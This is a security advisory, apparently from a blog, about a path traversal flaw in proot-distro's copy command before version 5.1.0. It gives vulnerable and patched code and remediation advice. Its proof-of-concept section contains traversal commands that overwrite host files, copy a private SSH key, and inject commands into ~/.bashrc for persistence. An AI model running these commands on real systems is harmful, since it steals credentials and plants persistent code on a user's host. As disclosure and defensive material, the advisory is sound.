Jul 18, 2026·7 min read·1 visit
A path traversal flaw in proot-distro prior to version 5.1.0 allows attackers to escape container directory limits and read or write arbitrary host files via the copy command.
A directory traversal vulnerability exists in the copy subcommand of the proot-distro utility. Due to incomplete path sanitization, local attackers or malicious scripts can read from or write to arbitrary files outside the container rootfs, bypassing isolation barriers and potentially gaining unauthorized access or persistent execution on the host system.
The proot-distro utility is a specialized tool used within rootless, proot-based environments—such as Termux on Android—to install and manage Linux distributions. To allow interaction between the host file system and the guest distributions, the utility provides a copy subcommand (copy or pd cp). This subcommand is designed to facilitate the secure transfer of files and configuration data across the logical partition of the container.
Because the host environment runs under a rootless profile, proot-distro uses a logical containment boundary rather than standard kernel-level namespace containment. The security model relies on path-resolution constraints to ensure that guest operations do not interact with host resources unless explicitly configured. The file transfer system uses user-supplied strings to specify target coordinates on both the host and the container.
When a user issues a copy command, the path parsing engine processes the arguments to establish canonical targets. However, the mechanism tasked with resolving container paths in vulnerable versions does not validate the logical scope of the output. This structural omission exposes an attack surface where arbitrary local filesystem reads and writes can be performed under the privilege set of the running utility context.
The root cause of the vulnerability resides in proot_distro/commands/copy.py (specifically within the path resolution helper function _resolve_copy_path). The application processes user inputs containing colons (formatted as distribution:path) by isolating the distribution identifier from the relative path. It utilizes Python's standard libraries to sanitize and normalize the target location.
To strip potential absolute paths that could reference host root resources directly, the utility invokes rel_path.lstrip("/") prior to combining it with the container's base directory. While this action effectively neutralizes absolute references (e.g., converting /etc/passwd into etc/passwd), it fails to address relative directory navigation structures. Specifically, sequence strings containing directory traversal operators (../) remain completely unaffected by the lstrip routine.
When the system executes os.path.join(rootfs, rel_path.lstrip("/")), the traversal sequences are appended directly to the container base directory path. The resulting path is then processed using os.path.normpath(). Because os.path.normpath resolves logical parent reference steps structurally, any excess of ../ sequences will walk backward up the directory hierarchy past the rootfs directory. Because the application did not verify whether the post-normalized path still retained the rootfs prefix, it accepted and acted upon paths that pointed to host files, leading to arbitrary reading and writing capabilities.
In vulnerable versions (v5.0.2 and earlier), path resolution was handled directly in the copy command module using insecure logical assumptions:
# Vulnerable Path Resolution Code (proot-distro <= v5.0.2)
def _resolve_copy_path(spec: str) -> str:
if ":" in spec:
dist, _, rel_path = spec.partition(":")
rootfs = os.path.join(CONTAINERS_DIR, dist, "rootfs")
if not os.path.isdir(rootfs):
sys.exit(1)
# BUG: lstrip("/") does not remove "../" traversal segments
# os.path.normpath resolves the traversals, escaping the rootfs boundaries
return os.path.normpath(os.path.join(rootfs, rel_path.lstrip("/")))
return os.path.normpath(os.path.abspath(spec))In the patched version (v5.1.0 and later), the path-resolution algorithm is relocated to proot_distro/paths.py and consolidated into resolve_container_path(spec). The remediated code introduces validation checks that strictly enforce boundary limitations:
# Patched Path Resolution Code (proot-distro >= v5.1.0)
def resolve_container_path(spec: str) -> str:
if ":" not in spec:
return os.path.normpath(os.path.abspath(spec))
name, _, rel_path = spec.partition(":")
if not is_valid_name(name):
crit_error(f"invalid container name '{name}' in spec '{spec}'.")
sys.exit(1)
rootfs = os.path.normpath(container_rootfs(name))
if not os.path.isdir(rootfs):
crit_error(f"container '{name}' does not exist.")
sys.exit(1)
# Normalize the combined paths first
resolved = os.path.normpath(os.path.join(rootfs, rel_path.lstrip("/")))
# FIX: Validate that the resolved path starts with the container rootfs path
# Incorporating os.sep prevents partial name matches (e.g. rootfs-alternate/)
if resolved != rootfs and not resolved.startswith(rootfs + os.sep):
crit_error("destination path escapes the container directory.")
sys.exit(1)
return resolvedThe introduction of resolved.startswith(rootfs + os.sep) acts as an effective boundary validation check. By checking against the rootfs path appended with the platform's directory separator, the code stops partial name match bypasses (such as escaping a directory named rootfs to access a sister folder named rootfs-data). This ensures complete validation and prevents paths that point outside the container's designated base directory.
An attacker within the local system context can exploit this directory traversal vulnerability to read or write arbitrary files on the host environment using the vulnerable copy logic.
To overwrite host-level configurations or files, the attacker specifies a relative traversal sequence in the target coordinate argument. The sequence traverses upwards from the rootfs directory into the host context:
# Overwrite a file on the host filesystem bypassing container containment
proot-distro copy \
~/poc/evil.txt \
"ubuntu:../../../../../../data/data/com.termux/files/home/poc/target.txt"An attacker can retrieve configuration data or private SSH keys from the host filesystem. This is done by specifying a traversal sequence in the source coordinate argument:
# Exfiltrate local keys via container file path resolution escape
proot-distro copy \
"ubuntu:../../../../../../data/data/com.termux/files/home/.ssh/id_rsa" \
~/poc/stolen_key.txtAn attacker can achieve persistent code execution on the host by overwriting shell initiation profiles like ~/.bashrc or ~/.profile. The next time the user spawns a terminal shell session on the host, the injected payload will execute with the user's host privileges:
# Inject command instructions into host .bashrc file
printf 'echo EXPLOIT_SUCCESSFUL > ~/poc/proof.txt\n' > ~/poc/payload.sh
proot-distro copy ~/poc/payload.sh \
"ubuntu:../../../../../../data/data/com.termux/files/home/.bashrc"The impact of this directory traversal vulnerability is rated as High. Because the container and host are run by the same local user account, the vulnerability does not escalate operating system-level permissions. However, it completely breaks the container boundary, bypassing isolation checks.
If a user downloads and executes an untrusted build script, script-based installer, or third-party automated container package, that script can act as a "confused deputy". The malicious code can use the vulnerability to read sensitive host files (such as SSH private keys, environment variables, authentication cookies, and database files) or modify critical configuration files. This allows the guest container to access host files that should remain isolated.
Furthermore, the ability to modify shell configuration files on the host allows an attacker to achieve persistent code execution. A containerized guest script can compromise the host Termux shell configuration, leading to automatic execution of arbitrary commands when a new shell is launched. This bypasses any isolation features that developers expect when running operations in a separate rootless container environment.
The primary remediation for this vulnerability is upgrading proot-distro to version 5.1.0 or later, which implements strict path validation.
Developers should use secure path resolution patterns when handling user input. It is critical to canonicalize paths using os.path.realpath or pathlib.Path.resolve to resolve symbolic links and traversal characters. After resolution, you must explicitly check that the target path begins with the absolute base directory path, as shown below:
from pathlib import Path
def safe_resolve_path(base_dir: Path, user_input: str) -> Path:
# Canonicalize base directory
resolved_base = base_dir.resolve(strict=True)
# Resolve target directory path
target_path = (resolved_base / user_input).resolve()
# Verify path boundaries
if not target_path.is_relative_to(resolved_base):
raise PermissionError("Directory traversal attempt detected.")
return target_pathUsing explicit validation checks like is_relative_to() or verifying prefix containment using directory separators prevents logical traversal vulnerabilities. This ensures that user-supplied input cannot access files outside the intended base directory.
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
proot-distro Termux | < 5.1.0 | 5.1.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-22 |
| Attack Vector | Local |
| CVSS v3.1 Score | 7.3 |
| Exploit Status | PoC (Proof of Concept) |
| Impact | Arbitrary File Read & Write |
| KEV Status | Not Listed |
The product uses external input to construct a pathname that is intended to identify a file or directory that is located beneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
CVE-2026-53598 is a directory traversal and arbitrary file read vulnerability in Microsoft Prompty ecosystem loaders across multiple languages. Prior to version 2.0.0-beta.2, the loaders resolved `${file:...}` reference strings inside frontmatter configuration blocks without enforcing that the target file paths resided within authorized directories. This deficiency allows an attacker-controlled configuration file to read sensitive operating system and application files through absolute paths, directory traversal, or symbolic link escapes. The issue is addressed across the Python, C#, Node.js/TypeScript, and Rust ecosystems.
An authorization bypass vulnerability in the Open Policy Agent (OPA) integration of the Skipper HTTP router allows unauthenticated remote attackers to bypass OPA policy inspection. When an incoming HTTP request declares a Content-Length exceeding Skipper's configured maxBodyBytes limit, Skipper bypasses body parsing and forwards an empty document to OPA, while transmitting the full, uninspected payload intact to the upstream backend.
CVE-2026-53597 is a high-severity code injection vulnerability in Microsoft's prompty library, specifically affecting the TypeScript loader (@prompty/core). Due to an insecure default configuration in the underlying gray-matter metadata parser, processing untrusted prompt files containing executable JavaScript blocks inside the frontmatter results in arbitrary remote code execution within the security context of the parent Node.js process.
An arbitrary code generation injection vulnerability in the oapi-codegen OpenAPI toolchain allows remote attackers to inject executable Go statements into compiled outputs via manipulated specifications.
A severe denial-of-service (DoS) vulnerability exists in the speech-to-text API endpoints of the vLLM serving engine from version 0.22.0 to 0.23.0. The flaw is triggered by the direct deserialization and reading of uploaded files into RAM prior to validating file-size limits. An authenticated attacker can exploit this behavior by submitting large file payloads, causing resource starvation and forcing the operating system kernel to terminate the serving process.
An improper input validation vulnerability (CWE-20) exists in vLLM versions 0.5.5 through 0.17.2 when processing multi-channel audio tracks. By relying on librosa's flat arithmetic mean instead of physical downmixing standards, vLLM blends sub-audible low-frequency or surround channels with equal weight. This enables an attacker to inject adversarial prompt sequences that bypass human moderation but are parsed clearly by speech-to-text models.